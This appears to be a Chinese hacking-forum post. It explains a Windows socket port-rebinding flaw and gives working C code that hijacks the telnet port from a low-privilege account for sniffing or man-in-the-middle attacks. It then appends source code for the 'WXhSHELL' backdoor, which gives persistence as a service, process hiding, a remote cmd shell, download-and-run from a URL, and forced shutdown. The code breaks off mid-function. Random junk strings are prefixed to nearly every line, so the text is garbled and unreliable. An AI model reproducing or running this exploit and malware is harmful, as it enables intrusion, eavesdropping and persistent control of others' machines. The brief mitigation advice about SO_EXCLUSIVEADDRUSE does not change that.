在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
WpvH} l r} s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
P]y5E9 k V*/))n? saddr.sin_family = AF_INET;
k%LE"Q ?r@ZTuq# saddr.sin_addr.s_addr = htonl(INADDR_ANY);
%k2zsM X~R
qv5@- bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
0!?f9kJq rDSt
~l 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
0xjV*0?s 5 )C~L] 这意味着什么?意味着可以进行如下的攻击:
PzF)Vg [Z[)hUXE? 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
nU`;MW/^w >U}~Hv] 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
w68qyG|wM Tq?W @DM* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
q`\lvdl wUSWB{y 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
}M1<a4~ 7>4t{aRf_8 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
](W#Tj5- xr=f9?%R 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
;3-ssF}k* ]>:>":<: 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
LZ@^ A]U }^ iE|YKz #include
B
51LZP #include
tF;aB* #include
4$;fj1!Z: #include
g)"6|Z?D" DWORD WINAPI ClientThread(LPVOID lpParam);
,cB`j7p( int main()
D2hvf^g'* {
M,[ClQ 9 WORD wVersionRequested;
dNyc|P`U DWORD ret;
!7w-?1?D WSADATA wsaData;
H11Wb(6Wu BOOL val;
!K@yB)9 SOCKADDR_IN saddr;
^8\pJg_0 SOCKADDR_IN scaddr;
Obd! int err;
`W/6xm(X5; SOCKET s;
"C.$qk] SOCKET sc;
_%>.t int caddsize;
!]`]67lC HANDLE mt;
6tzn% ? DWORD tid;
d#W[<, wVersionRequested = MAKEWORD( 2, 2 );
!P;qc err = WSAStartup( wVersionRequested, &wsaData );
6z(_^CY if ( err != 0 ) {
5-g0 2g printf("error!WSAStartup failed!\n");
0r@rXwz return -1;
G
cbal:q }
Zaj<*?\ saddr.sin_family = AF_INET;
4gZN~_AI< D QRt\! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
' ZB%McS 0q3:"X saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
<9Chkb|B saddr.sin_port = htons(23);
<ImeZ'L7 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
qzG'Gz{{qu {
:')<|(Zy printf("error!socket failed!\n");
\K4m~e@! return -1;
%1lLUgf3G/ }
^hgpeu val = TRUE;
9hq 7: //SO_REUSEADDR选项就是可以实现端口重绑定的
3) 7'dM if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
9 (&!>z {
HgMDw/D( printf("error!setsockopt failed!\n");
VP"L_Um return -1;
^=@%@mR/[C }
EUNG&U //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
9fV 57 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
N0XGW_f //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
(2{1m#o >!wwXhH( if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
N$3F4b%+ {
[m"X*ZF ret=GetLastError();
)HmpVH printf("error!bind failed!\n");
}skXh_Vu4 return -1;
$;">/"7m }
WT0U)x( m5 listen(s,2);
b
:+
X3 while(1)
F
|GWYw'% {
`aUA_"f caddsize = sizeof(scaddr);
qv<VKJTi6] //接受连接请求
Sz._XY^ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
-V+fQGZe if(sc!=INVALID_SOCKET)
;<* VwXJR {
aH~il!K mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
-}>Q0d ) if(mt==NULL)
Z2ZS5a {
c2i^dNp_ printf("Thread Creat Failed!\n");
+Y\#'KrA break;
l>:?U }
e5AiIVlv }
I7}[%(~Sf/ CloseHandle(mt);
]02V,'x }
HH]LvK closesocket(s);
}X`K3sk2/z WSACleanup();
.$r(":A#) return 0;
F!Uk `[L }
*
5j iC DWORD WINAPI ClientThread(LPVOID lpParam)
[[)HPHSQ {
V^Nc0r SOCKET ss = (SOCKET)lpParam;
"B\qp "N SOCKET sc;
l^SKd unsigned char buf[4096];
Z$@Juv&>5^ SOCKADDR_IN saddr;
@hCGV'4 long num;
LsmC/+7r$1 DWORD val;
YS/DIH{9e DWORD ret;
<?I~ + //如果是隐藏端口应用的话,可以在此处加一些判断
@-W)(9kZ| //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
7N:,F9V< saddr.sin_family = AF_INET;
#-{4 Jx saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
S4\T ( saddr.sin_port = htons(23);
hxv/285B if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
u=4tW:W, {
ge E7<"m% printf("error!socket failed!\n");
'91Ak,cWB return -1;
9\dC8 }
_[.`QW~ val = 100;
eQNYfWR if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
| 0&~fY {
Xl}>mbB ret = GetLastError();
Mbi)mybM return -1;
\ET7 }
OW6i2 >Or if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Bt.WRRpAB {
$V@IRBm ret = GetLastError();
DQE.;0ld return -1;
e}Db-7B_~ }
+4@EJRC if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
gXF.e.uU {
P ^D\znvc printf("error!socket connect failed!\n");
No h*1u* closesocket(sc);
yDHH05Yl closesocket(ss);
p(
z.[ return -1;
yYW>) }
w
5,- +&; while(1)
U/TF,JUI {
yJ?4B?p( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
d#A.A<p* //如果是嗅探内容的话,可以再此处进行内容分析和记录
m. XLpD //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Xp%JPI { num = recv(ss,buf,4096,0);
RCsd if(num>0)
j]jwQRe send(sc,buf,num,0);
5Zh
/D0!| else if(num==0)
j{nL33T% break;
eO*FoN num = recv(sc,buf,4096,0);
cm-!6'` if(num>0)
"zYlddh send(ss,buf,num,0);
%SIbpk% else if(num==0)
WJl&Vyl2FL break;
ZX'/[wAN) }
&t`l,]PQ=6 closesocket(ss);
lh
.p`^v closesocket(sc);
2r\f!m' return 0 ;
VJm).>E3k }
uN'e~X6 Ut0oh V+DN<F- ==========================================================
$My%7S/3 X62GEqff 下边附上一个代码,,WXhSHELL
g
}5lGz4 T,5]EHea ==========================================================
rBT#Cyl P)Sw`^d #include "stdafx.h"
0>>tdd7 ](B+ilr
#include <stdio.h>
t}]=5)9< #include <string.h>
'(~+
\ #include <windows.h>
>12phLu #include <winsock2.h>
|tyVC=${ #include <winsvc.h>
Lxs #include <urlmon.h>
6 fL=2a )%gigQZ+ #pragma comment (lib, "Ws2_32.lib")
/u5MAl.<[ #pragma comment (lib, "urlmon.lib")
C#+Gkzq `cCsJm$V" #define MAX_USER 100 // 最大客户端连接数
}c^`!9 #define BUF_SOCK 200 // sock buffer
R9^Vk*`gFU #define KEY_BUFF 255 // 输入 buffer
RYy_Ppn96f e'p'{]r<w #define REBOOT 0 // 重启
l7n c8K #define SHUTDOWN 1 // 关机
6gNsh `gx_+m^ #define DEF_PORT 5000 // 监听端口
HW)> ` pFx7URZA #define REG_LEN 16 // 注册表键长度
[a`89'"z #define SVC_LEN 80 // NT服务名长度
>6KuZ_ 7"FsW3an // 从dll定义API
x} {/) ?vC typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
1@egAo) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
}f/ 1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
)|zLjF$ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Etj@wy/E ~#C7G\R // wxhshell配置信息
9-5H~<}fF struct WSCFG {
4v_<<l int ws_port; // 监听端口
&Y4S[- char ws_passstr[REG_LEN]; // 口令
%`?IY < int ws_autoins; // 安装标记, 1=yes 0=no
~ep-XO char ws_regname[REG_LEN]; // 注册表键名
krFuEaO
char ws_svcname[REG_LEN]; // 服务名
6* (6>F5 char ws_svcdisp[SVC_LEN]; // 服务显示名
a~>+I~^K5q char ws_svcdesc[SVC_LEN]; // 服务描述信息
]MKW5Kq char ws_passmsg[SVC_LEN]; // 密码输入提示信息
XShi[7 int ws_downexe; // 下载执行标记, 1=yes 0=no
AAb3Jf`UW char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
fp^{612O? char ws_filenam[SVC_LEN]; // 下载后保存的文件名
&gR)Y3 hxZ5EKBy };
B<%cqz@ I6S!-i // default Wxhshell configuration
!{>'jvH struct WSCFG wscfg={DEF_PORT,
*c3(,Bmw "xuhuanlingzhe",
5_ !s\ 5 1,
#rD0`[pz "Wxhshell",
clV3x`z "Wxhshell",
m&a.i
B "WxhShell Service",
W US[hx, "Wrsky Windows CmdShell Service",
qr~P$ "Please Input Your Password: ",
Jz<-B 1,
98'/yZ "
http://www.wrsky.com/wxhshell.exe",
g0O~5.f "Wxhshell.exe"
B]iPixA6 };
piULIZ0 0n<>X&X // 消息定义模块
E^qJ5pr_P char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
_3~/Z{z8 char *msg_ws_prompt="\n\r? for help\n\r#>";
W|'7)ph char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
@G,pM: t char *msg_ws_ext="\n\rExit.";
GJS3O;2* char *msg_ws_end="\n\rQuit.";
D~P3~^ char *msg_ws_boot="\n\rReboot...";
hg4 d]R, char *msg_ws_poff="\n\rShutdown...";
1cq"H/N char *msg_ws_down="\n\rSave to ";
`1
A,sXfa Gj!9#on$7R char *msg_ws_err="\n\rErr!";
C.4r`F$p char *msg_ws_ok="\n\rOK!";
]ie38tX$ F#-mseKhc char ExeFile[MAX_PATH];
=S+*=j A int nUser = 0;
Z(F['Zf HANDLE handles[MAX_USER];
M~+}ss int OsIsNt;
xP/?E !>RDHu2n SERVICE_STATUS serviceStatus;
71b0MHNkvv SERVICE_STATUS_HANDLE hServiceStatusHandle;
E.LD1Pm0 aG_@--= // 函数声明
pW5ch"HE int Install(void);
#!?jxfsFa int Uninstall(void);
?TWve)U int DownloadFile(char *sURL, SOCKET wsh);
*^aEUp6& int Boot(int flag);
h@AKfE!\~ void HideProc(void);
!$n@- int GetOsVer(void);
/~~A2.=. int Wxhshell(SOCKET wsl);
Aqy y\G; void TalkWithClient(void *cs);
3V uoDmG int CmdShell(SOCKET sock);
RD6n1Wb(@ int StartFromService(void);
C fs2tN int StartWxhshell(LPSTR lpCmdLine);
A#7/,1h\ )+7|_7
!x VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
ahICx{hK VOID WINAPI NTServiceHandler( DWORD fdwControl );
^#( B4l! ty ESDp% // 数据结构和表定义
r+:]lO SERVICE_TABLE_ENTRY DispatchTable[] =
1aAY7Dm_& {
I%(YR" {wscfg.ws_svcname, NTServiceMain},
^Y%'"QwJS {NULL, NULL}
:Oiz|b( };
P K+rr.k] .q90+9Ek= // 自我安装
(1IYOlG4 int Install(void)
#)r^ZA&E {
4t
5i9+h char svExeFile[MAX_PATH];
|VX )S! HKEY key;
&u+l`F^Z strcpy(svExeFile,ExeFile);
YuXCRw9p; <?Ln`,Duk // 如果是win9x系统,修改注册表设为自启动
pl}nbY if(!OsIsNt) {
\+M6R<Qw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
o|kiwr}Y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{'8td^JEE RegCloseKey(key);
-.@dA'j[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/PZx['g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Zh RegCloseKey(key);
Iip%er%b return 0;
dl]pdg< }
Y5{KtW }
&x9>8~
}
fV#,<JG else {
.}9Lj ^r=Wj@` // 如果是NT以上系统,安装为系统服务
@>fsg-| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
%1oB!+tv if (schSCManager!=0)
u4#YZOiY)A {
y'5`Uo?\", SC_HANDLE schService = CreateService
oyT`AYa (
dy>5LzqK3 schSCManager,
&t~NR$@ wscfg.ws_svcname,
S;0z%$y wscfg.ws_svcdisp,
PZ>(cvX& SERVICE_ALL_ACCESS,
`5Bv2wlIV SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
n!dXjInV SERVICE_AUTO_START,
yJK:4af;. SERVICE_ERROR_NORMAL,
;9CbioO svExeFile,
a,|Hn NULL,
{j6$'v)0 NULL,
3Ofh#|qc& NULL,
5jq @ nq6 NULL,
kzk8b?rOA NULL
Wsb>3J );
25PZ&^G8% if (schService!=0)
v,'k2H {
;kI)j
? CloseServiceHandle(schService);
Z;O!KsJ CloseServiceHandle(schSCManager);
t[r6 jo7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
pwH*&YU strcat(svExeFile,wscfg.ws_svcname);
EQWRfx?d if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
<z#.J] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
z]2MR2W@X RegCloseKey(key);
a&Qr7tTY" return 0;
})+iAxR }
K0W X($z~; }
0tz? sN CloseServiceHandle(schSCManager);
7W'&v+\ }
`?{6L# }
O _C<h ,\?s=D{ return 1;
-5oYGLS$y3 }
c,^W/:CQAB *knN?`(x // 自我卸载
CNe(]HIOH int Uninstall(void)
8J#x B {
0&u=(;Dr\ HKEY key;
j8oX9
Yo0= ;Fo7 -kK if(!OsIsNt) {
~:L5Ar< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
#Iu"qu RegDeleteValue(key,wscfg.ws_regname);
S{RRlR6Z RegCloseKey(key);
/mA\)TL|] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
-^)<FY\ RegDeleteValue(key,wscfg.ws_regname);
{)iiu RegCloseKey(key);
3:O|p[2)L return 0;
e*}*3kw)T }
Sp6==(:. }
1s~rWnhVv }
\QQWh wE else {
&xt[w>/i <:!E'WT#f SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
7'OR;b$ if (schSCManager!=0)
*
V7bALY {
r$v\ \^?2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Wks zNh if (schService!=0)
*8Su:=*b {
&zd@cr1 if(DeleteService(schService)!=0) {
[p'A?- CloseServiceHandle(schService);
oxBTm|j7 CloseServiceHandle(schSCManager);
a"i(.(9$J return 0;
9@ 4]t6h[ }
LGw-cX # CloseServiceHandle(schService);
?H!jKX }
Nd]RbX CloseServiceHandle(schSCManager);
TMD\=8Na }
,RDWx }
9_?<T;]" _M&n~ r return 1;
9B![l=Gh }
ZeY|JH1 M3elog:M // 从指定url下载文件
fK ~8h int DownloadFile(char *sURL, SOCKET wsh)
yZ!~m3Q {
#D#kw*c HRESULT hr;
ck%.D%= char seps[]= "/";
xbxzB<yL char *token;
{Mj- $G" char *file;
KwV!smi2 char myURL[MAX_PATH];
}9^'etD char myFILE[MAX_PATH];
M)ao}m> =E$bZe8 strcpy(myURL,sURL);
A9g/At_ token=strtok(myURL,seps);
33KCO while(token!=NULL)
(f^/KB= {
!vSq?!y6*P file=token;
t^Lb}A#$4 token=strtok(NULL,seps);
HY eCq9S }
}
xA@3RT 3#x1(+c6 GetCurrentDirectory(MAX_PATH,myFILE);
m]*a;a'}# strcat(myFILE, "\\");
N iu
|M@ strcat(myFILE, file);
N
p*T[J send(wsh,myFILE,strlen(myFILE),0);
\D k >dE&I send(wsh,"...",3,0);
HL]J=Gh hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
pacD7'1{
if(hr==S_OK)
Pr>05lg return 0;
=fH5r_n else
x4PzP return 1;
bI3GI:hp i#^YQCy }
GLESngAl K2e68GU // 系统电源模块
]'7Au]Us` int Boot(int flag)
E|>-7k") {
NV-l9 HANDLE hToken;
WO{7/h</ TOKEN_PRIVILEGES tkp;
pouXt-%2X F+*fim'NK if(OsIsNt) {
t9MCT$U OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
l.]wBH#RS LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
T{^ P tkp.PrivilegeCount = 1;
r73W.& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
r7].48D AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
5!S#}=f= if(flag==REBOOT) {
gvc/Z <Y if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
+}1zw< return 0;
mI{Fs|9h }
JWaWOk(t=? else {
'^C
*%"I] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Qe7=6< return 0;
mR1b.$ }
?9O#b1f N }
%WKBd\O else {
y$bY
8L if(flag==REBOOT) {
(J.Z+s$:2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
pZK 1G return 0;
[B`4I }
]cv|dc= else {
!q,7@W3i if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
j24DL+ return 0;
LLT6*up$ }
!'rdHSy }
,Y6]x^W [0105l5 return 1;
~4Gc~ " }
jUKMDlH '(C+qwdRv // win9x进程隐藏模块
AX%}ip[PC void HideProc(void)
Y>/_A%vQU {
x7<NaMK\ RM,aG}6M)M HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
tFc<f7k if ( hKernel != NULL )
]LZ#[xnM7 {
R) :Xs . pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
rr2!H%: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
<`" FreeLibrary(hKernel);
z/h]Jos }
GDC@s<[k @[?ZwzY:9 return;
j0X^,ot@m }
szhSI ^`iz%^ // 获取操作系统版本
R4VX*qkB int GetOsVer(void)
5@r6'Z {
u-y?i` OSVERSIONINFO winfo;
,SNrcwv winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
"adic?5 GetVersionEx(&winfo);
/YUW)?o!^N if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
$0K@=7ms return 1;
%XeN_
V else
. )+c01 return 0;
{4A,&pR }
gED|2%BXb 1\UU" // 客户端句柄模块
uq-`1m} int Wxhshell(SOCKET wsl)
CJCxL\ {
WkE="E} SOCKET wsh;
ZiQ<SSo: struct sockaddr_in client;
ZzgzeT+bv DWORD myID;
YkMFU'?[ 0Fon`3(^\ while(nUser<MAX_USER)
\-]tvgA~& {
n.a2%,|v int nSize=sizeof(client);
H"^9g3U wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
6,jCO@!
if(wsh==INVALID_SOCKET) return 1;
(B$>o.(JA Y$"m*0 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
xRgdU+,Mj if(handles[nUser]==0)
I<sUB4T>#W closesocket(wsh);
;92xSe"Ww else
fap]`P~#L nUser++;
IAGY-+8e }
mF~]P8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
]NBx5m+y@i B0gD4MX/ return 0;
>g>r_0. }
r<n:o7 [t3 Kgjt // 关闭 socket
rjWtioZEa void CloseIt(SOCKET wsh)
r,.j^a {
K-\wx5#l/ closesocket(wsh);
b?KdR5 nUser--;
)\:IRr" ExitThread(0);
r ~UDK]?V }
N9#xT X w.aEc}@(^ // 客户端请求句柄
DpA)Vdj void TalkWithClient(void *cs)
e21J9e6z {
'"\n,3h tbR SOCKET wsh=(SOCKET)cs;
^78N25RU( char pwd[SVC_LEN];
;Wy03}K4J char cmd[KEY_BUFF];
-N^Ah_9ek char chr[1];
t7u*j-YE int i,j;
g9JZ#B gZ <EgJm`V while (nUser < MAX_USER) {
{_*G"A 9 "&f|<g5 if(wscfg.ws_passstr) {
ko[d axUB if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=hb)e}l //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
fPKpV`Hr3 //ZeroMemory(pwd,KEY_BUFF);
U`EOun, i=0;
dL+yd0b* while(i<SVC_LEN) {
ZAy/u@qt 4.wrY6+V // 设置超时
%5zIh[!1$ fd_set FdRead;
@w.DN)GPo struct timeval TimeOut;
L>1y[
Q FD_ZERO(&FdRead);
56c[$ q FD_SET(wsh,&FdRead);
5vR])T/S0 TimeOut.tv_sec=8;
z&9MkbH1 TimeOut.tv_usec=0;
O.QR1 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
gy,)%{,G if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
X\H P{$fY_ Rzsu 7w if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
j0~c2 pwd
=chr[0]; \6/Gy!0h-
if(chr[0]==0xd || chr[0]==0xa) { fgj$
u
pwd=0; /ivVqOo
break; Yl'8"
\HF
} Dzu//_u
i++; BH~zeJ*Pr
} Zazs".
^swj!da
// 如果是非法用户,关闭 socket h
x5M)8#+
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CYE[$*g6y
} x"C7NW[$
%>9L}OAm
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [QQM/ ?
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _oG%bNM
hg0{x/Dgny
while(1) { 2
yANf
,:J[|9
ZeroMemory(cmd,KEY_BUFF); 3 V ^5 4_
/({oN1X>i
// 自动支持客户端 telnet标准 @XtrC|dkkE
j=0; _{#K
while(j<KEY_BUFF) { M6Xzyt|
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6QT&{|q=
cmd[j]=chr[0]; }ff^^7_
if(chr[0]==0xa || chr[0]==0xd) { >jmHe^rH
cmd[j]=0; J%r:"Jm[y1
break; }0anssC
} %f("3!#H
j++; 1twpOZ>
} aj1,h)P
dr&G>
// 下载文件 6A.%)whI;
if(strstr(cmd,"http://")) { %vZHHBylu
send(wsh,msg_ws_down,strlen(msg_ws_down),0); \*{Mg wF
if(DownloadFile(cmd,wsh)) &v;fK$=2C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .s4v*bng
else F Xr\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D bi ^%
} 7R79[:uwJ
else { B?^~1Ua9Zv
J;wBS w%1
switch(cmd[0]) { >2),HZp^I
P=<lY},
// 帮助 6m]?*k1HC
case '?': { w[3a^
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #7'k'(
break; ~&ns?z>x
} m6K7D([f
// 安装 2NjgLXP
case 'i': { k+"7hf=C|
if(Install()) wnQy
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Srmr`[i
else ' ,]Aj!q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L'KKU4zj
break; DOFW"Sp E
} i={4rZOD^
// 卸载 oO3^9?Z
case 'r': { FMF mn|
if(Uninstall()) V*2*5hx
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I9xu3izAmR
else (b[=~Nh'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -
(((y)!
break; k1yqerA
} IOC$jab@
// 显示 wxhshell 所在路径 .L%pWRxA[
case 'p': { ,38M6yD
char svExeFile[MAX_PATH]; QbSLSMoL
strcpy(svExeFile,"\n\r"); acUyz2x
strcat(svExeFile,ExeFile); ZWS:-]P.
send(wsh,svExeFile,strlen(svExeFile),0); -
uO(qUa#
break; )l
m7ly8a|
} 45[,LJaMd
// 重启 "0 %fR"
case 'b': { ?,v&
o>*
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VCnf`wZB"
if(Boot(REBOOT)) Zon7G6s9`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :a2[d1
else { G~u$BV'
closesocket(wsh); kxEq_FX
ExitThread(0); wX6-WQR
} ^q& Rl\
break; 7CF>cpw
} "'Gq4<&y
// 关机 F,VWi$Po\N
case 'd': { H$^9#{
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SD%3B!cpX
if(Boot(SHUTDOWN)) Fz<1xyc(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q\jq9)
else { e2V;6N
closesocket(wsh); 'CJ_&HR
ExitThread(0); GoX<d{
} $'d,X@}8
break; yk4py0xVl
} ,+h<qBsV@
// 获取shell >jTiYJI_M
case 's': { CXz9bhn<4
CmdShell(wsh); FcZ)^RQ4G
closesocket(wsh); | ~>7_:
ExitThread(0); lsj9^z7
break; {0fQE@5@
} iI'ib-d
// 退出 :?z@T[-
case 'x': { u-jc8W`Zd
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AEWrrE
CloseIt(wsh); ~~"U[G1
break; M3!;u%~}s
} ^e_uprZWm
// 离开 QALr
case 'q': { ,+OVRc
send(wsh,msg_ws_end,strlen(msg_ws_end),0); D_ej%QtB@
closesocket(wsh); )`Qr=DIsW
WSACleanup(); /GJL&RMx
exit(1); `\ IaeMvo
break; 9)=bBQyr:
} Vx5fQ mx
} O#J7GbrHO
} %$)Sz[=
KkzG#'I1
// 提示信息
zZ51jA9x
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qJl DQc-
} zd$iDi($
} `{yI|
Wf
{`)oxzR
return; m8b-\^eP7
} &jg>X+;
*Ev8f11i&
// shell模块句柄 ei1;@k/
int CmdShell(SOCKET sock) b"td]H3h
{ n) HV:8j~
STARTUPINFO si; 4XiQ8"C
ZeroMemory(&si,sizeof(si)); TL$w~dY
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `RU RC"
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ##mBOdx
PROCESS_INFORMATION ProcessInfo; ?/,V{!UTtq
char cmdline[]="cmd"; [;-;{
*{G
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L9,GUtK{
return 0; V}2[chbl
} Lq6nmjL
i~<.@&vt
// 自身启动模式 &"Cy&[
int StartFromService(void) I'n}6D.M
{ U_Mag(^-
typedef struct vGJw/ij'X
{ vt(}8C+
DWORD ExitStatus; XS&;8 PO
DWORD PebBaseAddress; u!It';j
DWORD AffinityMask; {Ngut
DWORD BasePriority; x|^p9m"=%
ULONG UniqueProcessId; YReI|{O$c
